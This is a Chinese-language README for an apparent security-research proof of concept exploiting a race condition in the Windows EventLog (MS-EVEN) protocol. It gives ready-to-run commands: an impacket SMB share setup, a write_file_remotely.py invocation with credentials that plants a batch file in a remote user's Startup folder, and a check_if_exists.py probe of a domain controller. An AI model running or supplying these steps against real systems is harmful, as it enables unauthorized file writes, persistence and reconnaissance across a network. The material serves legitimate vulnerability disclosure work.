EventLogin 是 MS-EVEN 协议中的一种检查时间与使用时间(TOCTOU)竞争条件漏洞。该漏洞使低权限用户能够向远程机器写入任意文件,从而无需管理员账户即可执行远程写入。
本仓库包含两个脚本:一个利用此漏洞(write_file_remotely.py),另一个利用漏洞的原始功能,以低权限用户身份检查远程文件是否存在——这在查看域中其他计算机上已安装的程序等场景下非常有用。
完整分析请参阅:
EventLog-in: 利用弱凭据通过微软 Windows 中的事件日志服务传播
首先,使用 impacket 创建一个 SMB 共享:
impacket-smbserver -smb2support Share /tmp/safebreach
注意:脚本中硬编码了共享名 'Share',如需修改请自行调整。
然后,运行 write_file_remotely.py 脚本并包含所有必需参数:
示例:
python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123 "/tmp/safebreach/Sample.evtx" "calc.bat" "C:\\Users\\lowuser\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\target.bat"
此脚本本身不利用漏洞,仅使用"CreateFile"原始功能,可用于网络侦察。
例如,域中远程机器的 Program Files 目录对全体"Users"组可访问,这意味着使用任意用户的凭据即可检查另一台机器上是否存在某个文件。
它接受以下参数:
例如,使用低权限用户检查域控制器(192.168.56.57)上是否安装了 Wireshark。
python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"
结果:
FILE_EXISTS_AND_IS_DIRECTORY